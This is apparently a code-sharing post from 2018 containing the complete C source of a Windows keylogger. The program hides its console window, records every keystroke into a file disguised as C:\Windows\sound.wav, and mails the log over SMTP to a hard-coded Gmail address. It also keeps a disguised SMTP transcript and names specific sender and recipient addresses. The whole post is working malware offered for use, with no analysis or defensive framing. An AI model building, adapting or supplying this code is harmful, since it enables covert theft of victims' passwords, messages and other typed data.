· 8 years ago · Apr 19, 2018, 08:14 AM
1#include <windows.h>
2#include <stdio.h>
3#include <winuser.h>
4#include <windowsx.h>
5#include <time.h>
6#include <conio.h>
7int MailIt (char *mailserver, char *emailto, char *emailfrom,
8char *emailsubject, char *emailmessage);
9#define BUFSIZE 800
10#define waittime 500
11/*If you don't know the mail exchange server for an address for the following
12"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
13whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
14IT WILL NOT WORK!!! */
15#define cmailserver "gmail-smtp-in.l.google.com"
16#define cemailto "qwertyaskpopa@gmail.com"
17#define cemailfrom "barow.samedi@gmail.com"
18#define LogLength 1000
19#define FileName "C:\\Windows\\sound.wav"
20#define SMTPLog "C:\\Windows\\ring.wav"
21#define cemailsubject "Logged"
22
23int test_key(void);
24int get_keys(void);
25int main(void)
26{
27 //Uncomment the lines below to put the keylogger in stealh mode.
28 HWND stealth; /*creating stealth */
29 AllocConsole();
30 stealth=FindWindowA("ConsoleWindowClass",NULL);
31 ShowWindow(stealth,0);
32
33 {FILE *file;
34 file=fopen(FileName,"a+");
35 time_t theTime=time(0);
36 fputs("\nStarted logging: ", file);
37 fputs(ctime(&theTime),file);
38 fclose(file);
39 }
40
41 /* if (test==2)
42 {//the path in which the file needs to be
43 char *path="c:\\%windir%\\svchost.exe";
44 create=create_key(path);
45 } */
46
47 int t = get_keys();
48 return t;
49}
50
51int get_keys(void)
52{
53int freadindex;
54char *buf;
55long len;
56FILE *file;
57file=fopen(FileName,"a+");
58
59
60 short character;
61 while(1)
62 {
63 Sleep(10);/*to prevent 100% cpu usage*/
64 for(character=8;character<=222;character++)
65 {
66 if(GetAsyncKeyState(character)==-32767)
67 {
68 FILE *file;
69 file=fopen(FileName,"a+");
70 if(file==NULL)
71 {
72 return 1;
73 }
74 if(file!=NULL)
75 {
76 if((character>=39)&&(character<=64))
77 {
78 fputc(character,file);
79 fclose(file);
80 break;
81 }
82 else if((character>64)&&(character<91))
83 {
84 character+=32;
85 fputc(character,file);
86 fclose(file);
87 break;
88 }
89 else
90 {
91 switch(character)
92 {
93 case VK_SPACE:
94 fputc(' ',file);
95 fclose(file);
96 break;
97 case VK_SHIFT:
98 fputs(" [SHIFT] ",file);
99 fclose(file);
100 break;
101 case VK_RETURN:
102 fputs(" [ENTER]\n",file);
103 fclose(file);
104 break;
105 case VK_BACK:
106 fputs(" [BACKSPACE] ",file);
107 fclose(file);
108 break;
109 case VK_TAB:
110 fputs(" [TAB] ",file);
111 fclose(file);
112 break;
113 case VK_CONTROL:
114 fputs(" [CTRL] ",file);
115 fclose(file);
116 break;
117 case VK_DELETE:
118 fputs(" [DEL] ",file);
119 fclose(file);
120 break;
121 case VK_OEM_1:
122 fputs(" [;:] ",file);
123 fclose(file);
124 break;
125 case VK_OEM_2:
126 fputs(" [/?] ",file);
127 fclose(file);
128 break;
129 case VK_OEM_3:
130 fputs(" [`~] ",file);
131 fclose(file);
132 break;
133 case VK_OEM_4:
134 fputs(" [ [{ ] ",file);
135 fclose(file);
136 break;
137 case VK_OEM_5:
138 fputs(" [\\|]",file);
139 fclose(file);
140 break;
141 case VK_OEM_6:
142 fputs(" [ ]} ] ",file);
143 fclose(file);
144 break;
145 case VK_OEM_7:
146 fputs(" ['\"] ",file);
147 fclose(file);
148 break;
149 case 187:
150 fputc('+',file);
151 fclose(file);
152 break;
153 case 188:
154 fputc(',',file);
155 fclose(file);
156 break;
157 case 189:
158 fputc('-',file);
159 fclose(file);
160 break;
161 case 190:
162 fputc('.',file);
163 fclose(file);
164 break;
165 case VK_NUMPAD0:
166 fputc('0',file);
167 fclose(file);
168 break;
169 case VK_NUMPAD1:
170 fputc('1',file);
171 fclose(file);
172 break;
173 case VK_NUMPAD2:
174 fputc('2',file);
175 fclose(file);
176 break;
177 case VK_NUMPAD3:
178 fputc('3',file);
179 fclose(file);
180 break;
181 case VK_NUMPAD4:
182 fputc('4',file);
183 fclose(file);
184 break;
185 case VK_NUMPAD5:
186 fputc('5',file);
187 fclose(file);
188 break;
189 case VK_NUMPAD6:
190 fputc('6',file);
191 fclose(file);
192 break;
193 case VK_NUMPAD7:
194 fputc('7',file);
195 fclose(file);
196 break;
197 case VK_NUMPAD8:
198 fputc('8',file);
199 fclose(file);
200 break;
201 case VK_NUMPAD9:
202 fputc('9',file);
203 fclose(file);
204 break;
205 case VK_CAPITAL:
206 fputs(" [CAPS LOCK] ",file);
207 fclose(file);
208 break;
209 default:
210 fclose(file);
211 break;
212 }
213 }
214 }
215 }
216 }
217 FILE *file;
218 file=fopen(FileName,"rb");
219 fseek(file,0,SEEK_END); //go to end
220 len=ftell(file); //get position at end (length)
221 if(len>=LogLength) {
222 fseek(file,0,SEEK_SET);//go to beg.
223 buf=(char *)malloc(len);//malloc buffer
224 freadindex=fread(buf,1,len,file);//read into buffer
225 buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
226 MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
227 fclose(file);
228 file=fopen(FileName,"w");
229 }
230
231 fclose(file);
232 //free (buf);
233
234 }
235 return EXIT_SUCCESS;
236}
237
238int MailIt (char *mailserver, char *emailto, char *emailfrom,
239char *emailsubject, char *emailmessage) {
240 SOCKET sockfd;
241 WSADATA wsaData;
242 FILE *smtpfile;
243
244 #define bufsize 300
245 int bytes_sent; /* Sock FD */
246 int err;
247 struct hostent *host; /* info from gethostbyname */
248 struct sockaddr_in dest_addr; /* Host Address */
249 char line[1000];
250 char *Rec_Buf = (char*) malloc(bufsize+1);
251 smtpfile=fopen(SMTPLog,"a+");
252 if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
253 fputs("WSAStartup failed",smtpfile);
254 WSACleanup();
255 return -1;
256 }
257 if ( (host=gethostbyname(mailserver)) == NULL) {
258 perror("gethostbyname");
259 exit(1);
260 }
261 memset(&dest_addr,0,sizeof(dest_addr));
262 memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
263
264 /* Prepare dest_addr */
265 dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
266 dest_addr.sin_port= htons(25); /* PORT defined above */
267
268 /* Get socket */
269
270 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
271 perror("socket");
272 exit(1);
273 }
274 /* Connect !*/
275 fputs("Connecting....\n",smtpfile);
276
277 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
278 perror("connect");
279 exit(1);
280 }
281 Sleep(waittime);
282 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
283 fputs(Rec_Buf,smtpfile);
284 strcpy(line,"helo me.somepalace.com\n");
285 fputs(line,smtpfile);
286 bytes_sent=send(sockfd,line,strlen(line),0);
287 Sleep(waittime);
288 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
289 fputs(Rec_Buf,smtpfile);
290 strcpy(line,"MAIL FROM:<");
291 strncat(line,emailfrom,strlen(emailfrom));
292 strncat(line,">\n",3);
293 fputs(line,smtpfile);
294 bytes_sent=send(sockfd,line,strlen(line),0);
295 Sleep(waittime);
296 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
297 fputs(Rec_Buf,smtpfile);
298 strcpy(line,"RCPT TO:<");
299 strncat(line,emailto,strlen(emailto));
300 strncat(line,">\n",3);
301 fputs(line,smtpfile);
302 bytes_sent=send(sockfd,line,strlen(line),0);
303 Sleep(waittime);
304 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
305 fputs(Rec_Buf,smtpfile);
306 strcpy(line,"DATA\n");
307 fputs(line,smtpfile);
308 bytes_sent=send(sockfd,line,strlen(line),0);
309 Sleep(waittime);
310 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
311 fputs(Rec_Buf,smtpfile);
312 Sleep(waittime);
313 strcpy(line,"To:");
314 strcat(line,emailto);
315 strcat(line,"\n");
316 strcat(line,"From:");
317 strcat(line,emailfrom);
318 strcat(line,"\n");
319 strcat(line,"Subject:");
320 strcat(line,emailsubject);
321 strcat(line,"\n");
322 strcat(line,emailmessage);
323 strcat(line,"\r\n.\r\n");
324 fputs(line,smtpfile);
325 bytes_sent=send(sockfd,line,strlen(line),0);
326 Sleep(waittime);
327 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
328 fputs(Rec_Buf,smtpfile);
329 strcpy(line,"quit\n");
330 fputs(line,smtpfile);
331 bytes_sent=send(sockfd,line,strlen(line),0);
332 Sleep(waittime);
333 err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
334 fputs(Rec_Buf,smtpfile);
335 fclose(smtpfile);
336 #ifdef WIN32
337 closesocket(sockfd);
338 WSACleanup();
339 #else
340 close(sockfd);
341 #endif
342}